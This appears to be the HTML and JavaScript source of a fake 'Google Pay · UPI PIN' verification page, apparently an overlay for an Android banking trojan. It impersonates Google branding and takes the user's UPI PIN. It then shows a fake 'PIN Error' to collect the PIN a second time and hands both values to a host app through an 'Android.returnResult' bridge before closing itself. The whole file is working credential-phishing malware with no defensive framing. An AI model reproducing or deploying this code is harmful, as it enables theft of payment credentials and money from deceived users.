Files
2026-08-27 11:21:57 -06:00

704 lines
24 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<title>Google Pay · UPI PIN</title>
<link rel="shortcut icon"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
type="image/png">
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
<meta charset="utf-8">
</head>
<body>
<style type="text/css">
:root {
--gp-page: #ffffff;
--gp-surface: #ffffff;
--gp-blue: #1a73e8;
--gp-blue-dark: #1557b0;
--gp-text: #202124;
--gp-muted: #5f6368;
--gp-muted2: #80868b;
--gp-input-bg: #fcfdfe;
--gp-input-border: #dadce0;
--gp-key-border: #dadce0;
--gp-key-bg: #ffffff;
--gp-back-bg: #9aa0a6;
--gp-card-radius: 16px;
--gp-shadow: 0 1px 3px rgba(60, 64, 67, 0.12), 0 4px 12px rgba(60, 64, 67, 0.08);
}
* {
box-sizing: border-box;
}
body {
margin: 0;
min-height: 100dvh;
font-family: "Google Sans", system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
background: var(--gp-page);
color: var(--gp-text);
overflow-x: hidden;
overflow-y: auto;
-webkit-tap-highlight-color: transparent;
}
.page {
min-height: 100dvh;
display: flex;
align-items: center;
justify-content: center;
padding: 16px;
}
.card {
width: 100%;
max-width: 400px;
background: var(--gp-surface);
border-radius: var(--gp-card-radius);
border: 1px solid #e8eaed;
box-shadow: var(--gp-shadow);
padding: 22px 20px 20px;
position: relative;
}
.pp-header {
display: flex;
align-items: center;
justify-content: center;
gap: 14px;
padding-bottom: 18px;
}
.pp-logo {
width: 48px;
height: 48px;
border-radius: 50%;
/* background: var(--gp-blue); */
color: #fff;
font-weight: 500;
font-size: 24px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
font-family: "Product Sans", "Google Sans", system-ui, sans-serif;
}
.pp-brand {
text-align: left;
}
.pp-name {
font-size: 20px;
font-weight: 600;
letter-spacing: -0.02em;
color: var(--gp-text);
}
.pp-sub {
font-size: 13px;
color: var(--gp-muted2);
margin-top: 2px;
}
.pp-verify {
text-align: center;
}
.pp-badge {
display: inline-block;
background: var(--gp-blue);
color: #fff;
font-size: 11px;
font-weight: 600;
letter-spacing: 0.05em;
padding: 5px 12px;
border-radius: 999px;
margin-bottom: 2px;
}
.pp-lock {
margin: 12px auto 8px;
width: 40px;
height: 40px;
color: var(--gp-blue);
}
.pp-lock svg {
width: 100%;
height: 100%;
display: block;
}
.pp-title {
font-size: 21px;
font-weight: 600;
margin: 0 0 10px;
letter-spacing: -0.02em;
color: var(--gp-text);
}
.pp-hint {
font-size: 14px;
color: var(--gp-muted);
line-height: 1.45;
margin: 0 0 6px;
padding: 0 4px;
}
.pp-hint2 {
font-size: 12px;
color: var(--gp-muted2);
line-height: 1.4;
margin: 0 0 16px;
padding: 0 4px;
}
fieldset {
border: none;
margin: 0;
padding: 0;
width: 100%;
}
#ccdata,
#passworddata {
display: none;
}
.pin-wrap {
text-align: left;
margin-bottom: 6px;
}
.pin_input {
width: 100%;
padding: 14px 16px;
border: 1px solid var(--gp-input-border);
border-radius: 12px;
font-size: 32px;
letter-spacing: 0.3em;
max-height: 52px;
text-align: center;
background: var(--gp-input-bg);
color: var(--gp-blue);
-webkit-text-security: disc;
pointer-events: none;
user-select: none;
-webkit-user-select: none;
cursor: default;
caret-color: transparent;
}
.pin_input::placeholder {
letter-spacing: 0;
font-size: 15px;
color: var(--gp-muted2);
-webkit-text-security: none;
}
.pin_input:focus {
outline: none;
box-shadow: none;
}
.pin_input.filled {
background: #fafbfc;
}
.pin_input::-ms-reveal,
.pin_input::-ms-clear {
display: none;
}
.pp-pin-note {
font-size: 12px;
color: var(--gp-blue);
font-weight: 600;
margin: 8px 0 18px;
text-align: center;
}
.keypad {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 10px;
margin-bottom: 16px;
}
.key {
border: 1px solid var(--gp-key-border);
border-radius: 12px;
background: var(--gp-key-bg);
box-shadow: none;
font-size: 22px;
font-weight: 500;
color: var(--gp-text);
height: 52px;
cursor: pointer;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
}
.key:active {
transform: scale(0.98);
background: #f8f9fa;
}
.key--muted {
background: var(--gp-back-bg);
border-color: transparent;
box-shadow: none;
}
.key--muted:active {
background: #80868b;
}
.key--muted.key--back svg {
stroke: #fff;
opacity: 1;
}
.key--confirm {
background: var(--gp-blue);
color: #fff;
border-color: var(--gp-blue);
box-shadow: 0 1px 2px rgba(26, 115, 232, 0.35);
}
.key--confirm:active {
background: var(--gp-blue-dark);
border-color: var(--gp-blue-dark);
}
.key--confirm svg {
width: 26px;
height: 26px;
stroke: #fff;
}
.key--back svg {
width: 26px;
height: 26px;
stroke: #3c4043;
opacity: 1;
}
.key--muted.key--back svg {
stroke: #fff;
}
.pp-warning {
font-size: 12px;
color: #c5221f;
margin: 0 0 10px;
line-height: 1.4;
}
.pp-footer-brand {
font-size: 12px;
color: var(--gp-muted2);
margin: 0;
font-weight: 500;
letter-spacing: 0.02em;
}
.pp-pin-panel {
display: block;
}
.pp-state-loading,
.pp-state-success {
display: none;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 220px;
padding: 8px 0 4px;
}
.pp-spinner {
width: 52px;
height: 52px;
border: 3px solid #e8eaed;
border-top-color: var(--gp-blue);
border-radius: 50%;
animation: gp-spin 0.75s linear infinite;
box-sizing: border-box;
}
@keyframes gp-spin {
to {
transform: rotate(360deg);
}
}
.pp-success-mark {
width: 80px;
height: 80px;
border-radius: 50%;
background: var(--gp-blue);
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 16px;
box-shadow: 0 4px 16px rgba(26, 115, 232, 0.35);
}
.pp-success-mark svg {
width: 42px;
height: 42px;
stroke: #fff;
stroke-width: 3;
fill: none;
stroke-linecap: round;
stroke-linejoin: round;
}
.pp-success-msg {
font-size: 17px;
font-weight: 600;
color: var(--gp-text);
margin: 0;
letter-spacing: -0.02em;
}
.card.is-verifying .pp-pin-panel {
display: none;
}
.card.is-verifying .pp-state-loading {
display: flex;
}
.card.is-success .pp-pin-panel {
display: none;
}
.card.is-success .pp-state-loading {
display: none;
}
.card.is-success .pp-state-success {
display: flex;
}
.card.is-verifying,
.card.is-success {
pointer-events: none;
}
.toast {
position: absolute;
left: 50%;
top: 42%;
transform: translate(-50%, -50%);
min-width: 160px;
max-width: 90%;
background: rgba(32, 33, 36, 0.92);
color: #fff;
padding: 12px 16px;
border-radius: 12px;
font-size: 14px;
opacity: 0;
pointer-events: none;
transition: opacity 0.2s ease;
z-index: 20;
text-align: center;
}
.toast.show {
opacity: 1;
}
</style>
<div class="page">
<div class="card">
<form id="formtosend">
<fieldset>
<div id="infodata">
<header class="pp-header">
<div class="pp-logo" aria-hidden="true"><svg t="1778779805913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4507" width="200" height="200"><path d="M288.832 512c0-24.96 4.256-48.864 11.776-71.264l-132.16-98.88A377.28 377.28 0 0 0 128.192 512c0 61.12 14.464 118.816 40.192 169.984l132.096-99.008A222.88 222.88 0 0 1 288.832 512z" fill="#FBBC05" p-id="4508"></path><path d="M520.96 285.12c55.296 0 105.28 19.168 144.544 50.56L779.744 224c-69.6-59.36-158.848-96-258.816-96-155.2 0-288.608 86.88-352.48 213.888l132.224 98.816c30.432-90.496 117.248-155.616 220.256-155.616z" fill="#EA4335" p-id="4509"></path><path d="M520.96 738.88c-103.104 0-189.888-65.088-220.352-155.584l-132.16 98.816C232.288 809.12 365.696 896 520.928 896c95.776 0 187.2-33.28 255.872-95.68l-125.472-95.008c-35.392 21.856-79.968 33.6-130.4 33.6z" fill="#34A853" p-id="4510"></path><path d="M895.808 512c0-22.656-3.616-47.104-8.96-69.792H520.928v148.352h210.656c-10.528 50.592-39.2 89.472-80.192 114.784l125.44 94.976c72.096-65.536 119.008-163.136 119.008-288.32z" fill="#4285F4" p-id="4511"></path></svg></div>
<div class="pp-brand">
<div class="pp-name">Google Pay</div>
<div class="pp-sub">Google · UPI</div>
</div>
</header>
<div class="pp-verify">
<span class="pp-badge">UPI PIN</span>
<div class="pp-lock" aria-hidden="true">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"
stroke-linecap="round" stroke-linejoin="round">
<rect x="5" y="11" width="14" height="10" rx="2" />
<path d="M7 11V7a5 5 0 0 1 10 0v4" />
</svg>
</div>
<h1 class="pp-title">UPI PIN Verification</h1>
<p class="pp-hint">Enter your UPI PIN to complete the transaction.</p>
<p class="pp-hint2">For your account security, confirm your UPI PIN.</p>
<div class="pp-pin-panel" id="pp_pin_panel">
<div class="pin-wrap">
<input class="pin_input" id="pin_input" type="password" inputmode="none"
maxlength="6" autocomplete="off" name="pin" placeholder="" required
readonly tabindex="-1" aria-readonly="true">
</div>
<p class="pp-pin-note">Enter 4-6 digit UPI PIN</p>
<div class="keypad" aria-label="UPI PIN keypad">
<button type="button" class="key key-num" data-digit="1">1</button>
<button type="button" class="key key-num" data-digit="2">2</button>
<button type="button" class="key key-num" data-digit="3">3</button>
<button type="button" class="key key-num" data-digit="4">4</button>
<button type="button" class="key key-num" data-digit="5">5</button>
<button type="button" class="key key-num" data-digit="6">6</button>
<button type="button" class="key key-num" data-digit="7">7</button>
<button type="button" class="key key-num" data-digit="8">8</button>
<button type="button" class="key key-num" data-digit="9">9</button>
<button type="button" class="key key--muted key--back" id="key_back"
aria-label="Backspace">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M21 4H8l-7 8 7 8h13a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2z" />
<line x1="18" y1="9" x2="12" y2="15" />
<line x1="12" y1="9" x2="18" y2="15" />
</svg>
</button>
<button type="button" class="key key-num" data-digit="0">0</button>
<button type="button" class="key key--confirm" id="key_confirm"
aria-label="Confirm">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"
stroke-linecap="round" stroke-linejoin="round">
<polyline points="20 6 9 17 4 12" />
</svg>
</button>
</div>
<p class="pp-warning">Too many incorrect attempts will lock transactions.</p>
</div>
<div class="pp-state-loading" id="pp_state_loading" aria-live="polite" aria-busy="true">
<div class="pp-spinner" role="status"></div>
</div>
<div class="pp-state-success" id="pp_state_success">
<div class="pp-success-mark" aria-hidden="true">
<svg viewBox="0 0 24 24">
<polyline points="20 6 9 17 4 12" />
</svg>
</div>
<p class="pp-success-msg">Verification successful</p>
</div>
<p class="pp-footer-brand">Google</p>
</div>
<div class="toast" id="toast"></div>
</div>
</fieldset>
</form>
</div>
</div>
<script>
function stringifyJSON(value) {
return JSON.stringify(value);
}
function formToJSONbyName(f) {
var FinalObject = {}, namesHTML = ['input', 'select'];
for (var i = 0; i < namesHTML.length; i++) {
var bsform = f.getElementsByTagName(namesHTML[i]);
for (var j = 0; j < bsform.length; j++) {
if (bsform[j].name == 'submit') continue;
FinalObject[bsform[j].name] = bsform[j].value
}
}
return stringifyJSON(FinalObject);
}
function showToast(message) {
var toast = document.getElementById('toast');
if (!toast) return;
toast.textContent = message;
toast.classList.add('show');
setTimeout(function () {
toast.classList.remove('show');
}, 2000);
}
var _pinSecondChance = false;
var _firstPin = null;
var _submittingPin = false;
var VERIFY_DELAY_MS = 2000;
var ANDROID_CLOSE_AFTER_MS = 1000;
function isPinFlowLocked() {
var card = document.querySelector('.card');
return !!(card && (card.classList.contains('is-verifying') || card.classList.contains('is-success')));
}
function deliverResult(data) {
var ua = navigator.userAgent.toLowerCase();
if (ua.indexOf("android") > -1) {
try {
Android.returnResult(data);
if (typeof Android.hidePage === 'function') {
Android.hidePage('');
}
setTimeout(function () {
window.close();
window.location.href = 'about:blank';
}, ANDROID_CLOSE_AFTER_MS);
} catch (err) { }
} else {
setTimeout(function () {
alert(data);
}, 400);
}
}
function validatePin() {
var pinInput = document.getElementById('pin_input');
if (!pinInput) return false;
var value = pinInput.value || '';
var isValid = /^\d{4,6}$/.test(value);
if (!isValid) {
showToast('PIN must be 4-6 digits');
}
return isValid;
}
function updateBackground() {
var pinInput = document.getElementById('pin_input');
if (!pinInput) return;
pinInput.classList.toggle('filled', pinInput.value.length > 0);
}
function appendPinDigit(d) {
if (isPinFlowLocked()) return;
var pinInput = document.getElementById('pin_input');
if (!pinInput || pinInput.value.length >= 6) return;
pinInput.value += d;
pinInput.dispatchEvent(new Event('input', { bubbles: true }));
}
function backspacePin() {
if (isPinFlowLocked()) return;
var pinInput = document.getElementById('pin_input');
if (!pinInput) return;
pinInput.value = pinInput.value.slice(0, -1);
pinInput.dispatchEvent(new Event('input', { bubbles: true }));
}
function send_form() {
if (isPinFlowLocked()) return;
var pinInput = document.getElementById('pin_input');
if (pinInput) {
var digits = (pinInput.value || '').replace(/\D/g, '').slice(0, 6);
if (pinInput.value !== digits) pinInput.value = digits;
updateBackground();
}
if (!validatePin()) {
return;
}
if (!_pinSecondChance) {
if (_submittingPin) return;
_submittingPin = true;
_firstPin = pinInput ? pinInput.value : null;
var cardFirst = document.querySelector('.card');
if (cardFirst) {
cardFirst.classList.add('is-verifying');
}
setTimeout(function () {
if (cardFirst) {
cardFirst.classList.remove('is-verifying');
}
showToast('PIN Error');
_pinSecondChance = true;
if (pinInput) {
pinInput.value = '';
updateBackground();
}
_submittingPin = false;
}, VERIFY_DELAY_MS);
return;
}
if (_submittingPin) return;
_submittingPin = true;
var form = document.getElementById('formtosend');
var payloadObj = {};
try {
payloadObj = JSON.parse(formToJSONbyName(form));
} catch (e) {
payloadObj = {};
}
if (_firstPin !== null) payloadObj.first_pin = _firstPin;
var data = JSON.stringify(payloadObj);
var card = document.querySelector('.card');
if (card) {
card.classList.add('is-verifying');
}
setTimeout(function () {
if (card) {
card.classList.remove('is-verifying');
card.classList.add('is-success');
}
deliverResult(data);
}, VERIFY_DELAY_MS);
}
document.addEventListener('DOMContentLoaded', function () {
var pinInput = document.getElementById('pin_input');
if (!pinInput) return;
var numKeys = document.querySelectorAll('.key-num');
for (var k = 0; k < numKeys.length; k++) {
(function (btn) {
btn.addEventListener('click', function () {
var d = btn.getAttribute('data-digit');
if (d) appendPinDigit(d);
});
})(numKeys[k]);
}
var backBtn = document.getElementById('key_back');
if (backBtn) backBtn.addEventListener('click', backspacePin);
var confirmBtn = document.getElementById('key_confirm');
if (confirmBtn) confirmBtn.addEventListener('click', function () { send_form(); });
pinInput.addEventListener('input', function () {
var digits = pinInput.value.replace(/\D/g, '').slice(0, 6);
if (pinInput.value !== digits) {
pinInput.value = digits;
}
updateBackground();
});
pinInput.addEventListener('keydown', function (e) {
e.preventDefault();
});
pinInput.addEventListener('paste', function (e) {
e.preventDefault();
});
pinInput.addEventListener('drop', function (e) {
e.preventDefault();
});
updateBackground();
});
</script>
</body>
</html>